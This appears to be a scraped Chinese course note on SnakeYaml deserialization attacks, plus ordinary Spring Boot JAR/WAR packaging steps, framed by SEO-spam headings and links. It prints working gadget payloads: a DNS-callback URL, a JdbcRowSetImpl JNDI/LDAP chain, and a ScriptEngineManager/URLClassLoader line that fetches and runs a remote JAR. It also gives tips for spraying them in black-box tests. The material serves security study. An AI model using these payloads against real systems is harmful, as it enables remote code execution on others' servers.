当前位置: 首页 > wzjs >正文

成都设计公司注册百色seo关键词优化公司

成都设计公司注册,百色seo关键词优化公司,广东网站建设排名,注册网站的免费网址#知识点 1、安全开发-JavaEE-WAR&JAR打包&反编译 2、安全开发-JavaEE-SnakeYaml反序列化&链 一、常见的创建的序列化和反序列化协议 • &#xff08;已讲&#xff09;JAVA内置的writeObject()/readObject() • JAVA内置的XMLDecoder()/XMLEncoder xml<>Objec…
#知识点

1、安全开发-JavaEE-WAR&JAR打包&反编译

2、安全开发-JavaEE-SnakeYaml反序列化&链

一、常见的创建的序列化和反序列化协议

• (已讲)JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object

• (已讲)XStream xml<==>Object

• (已讲)SnakeYaml yaml<==>Object

• (已讲)FastJson json<==>Object

• Jackson json<==>Object

二、SnakeYaml反序列化

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

<dependency>

<groupId>org.yaml</groupId>

<artifactId>snakeyaml</artifactId>

<version>1.32</version>

</dependency>

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:

Yaml.dump():序列化将一个Java对象转化为yaml文件形式

Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;

测试总结:yaml.load()和yaml.loadas()方法进行“反序列化操作”后->都调用对象(也就是被序列化的类)的set()方法

参考:SnakeYaml反序列化分析 - F12~ - 博客园

1、URL链(自带链)即urldns链->该链价值不大

!!java.net.URL ["http://zxqnhzpdha.dgrh3.cn/"]: 1

2、JdbcRowSetImpl利用链->payload是JNDI注入->jndi受jdk版本影响->无法绕过->使用SPI机制可以绕过

以下为payload:

!!com.sun.rowset.JdbcRowSetImpl

dataSourceName: "ldap://192.168.253.1:1389/bax01l9/Exploit"

autoCommit: true

3、RCE(自带链+利用SPI机制)->yaml-payload-master项目为例进行演示

下面的案例,成功利用SPI机制->绕过了JDIN注入受jdk版本限制->从而执行高危命令

https://github.com/artsploit/yaml-payload/

项目相关配置(了解即可):项目结构-工件-添加-yaml-payload-添加模块输出-构建工件

构建项目->生成yaml-payload.jar文件

javac AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .  //这两条命令的作用和上图一样,都是构建生成yaml-payload.jar文件用的

python -m http.server 9999

payload如下:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

黑盒:看数据包有没有yaml文件类型的数据如下所示->无脑payload

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]   ->如果实战中数据包中的该数据格式进行了加密->那么传入payload也要先将payload加密

白盒:看是否应用了yaml依赖+是否用到了yaml.load(dump)反序列化方法+dump这个参数是否可控(用来上传payload)

三、SpringBoot-打包部署-JAR&WAR->了解即可

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg

SpringBoot项目打包在各类系统服务器中运行:

真实情况下,Java网站启动不会向实验的那样使用IDEA来启动,而是使用jar,war包的形式来启动,所以无源码下载泄漏风险,源码泄漏也需反编译(但有时候代码进行了混淆操作,即使反编译jar包成功,也需要强大的逆向能力)

①jar类型项目

jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar(java -jar xxxxxx.jar)即可运行网站,jar项目中功能将代码放到其内置的tomcat中运行。

②war类型项目

在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可启动网站

1、Jar打包

报错解决:

https://blog.csdn.net/Mrzhuangr/article/details/124731024

https://blog.csdn.net/wobenqingfeng/article/details/129914639

①maven-clean-package

②java -jar xxxxxx.jar

2、War打包

①pom.xml加入或修改:

<packaging>war</packaging>

②启动类里面加入配置:

public class TestSwaggerDemoApplication extends SpringBootServletInitializer

@Override

protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {

return builder.sources(TestSwaggerDemoApplication.class);

}

③maven-clean-package

④war放置tomcat后启动

http://www.dtcms.com/wzjs/242345.html

相关文章:

  • 浙江建设日本公司网站网站制作过程
  • 做网站推广见客户的话术郑州seo网站有优化
  • 绍兴做网站公司哪家好谷歌优化
  • 做网站要多少带宽北京百度推广代理
  • js写的网站怎么做seo广州百度推广开户
  • 山东莱州市建设局网站免费加精准客源
  • 2019年政府网站建设重点自己做的网址如何推广
  • 沧州网站优化公司百度地图排名可以优化吗
  • 网站怎么做超链接四川seo排名
  • 南京seo优化公司什么是搜索引擎优化seo
  • 美国地接公司怎么在中国网站做推广今日国际军事新闻
  • 高端网站建设加盟seo教程视频
  • 政府网站内容建设方案seo关键词优化是什么意思
  • php做的网站怎么运行深圳企业seo
  • 商城网站建设价格网络营销产品策略的内容
  • 常州做网站的网站快速排名优化价格
  • 济南php网站开发网络营销研究现状文献综述
  • 湖南网站建设 真好磐石网络网站排名查询
  • 苹果的网站怎么做的吗seo需要什么技术
  • 做外贸网站设计上需要注意什么中国百强企业榜单
  • 免费网站注册com竞价排名营销
  • wordpress wp2pcs syseo全站优化全案例
  • 权重的网站电商网络推广
  • 沧州网站建设优化河南网站推广多少钱
  • 医院网站建设考试答案百度信息流账户搭建
  • 中国风网站表现百度竞价托管哪家好
  • 手机网站模板免费模板优化网站
  • 在那里能找到网站网站制作方案
  • j永久网站推广码怎么填
  • 建手机网站款软件广告联盟接单赚钱平台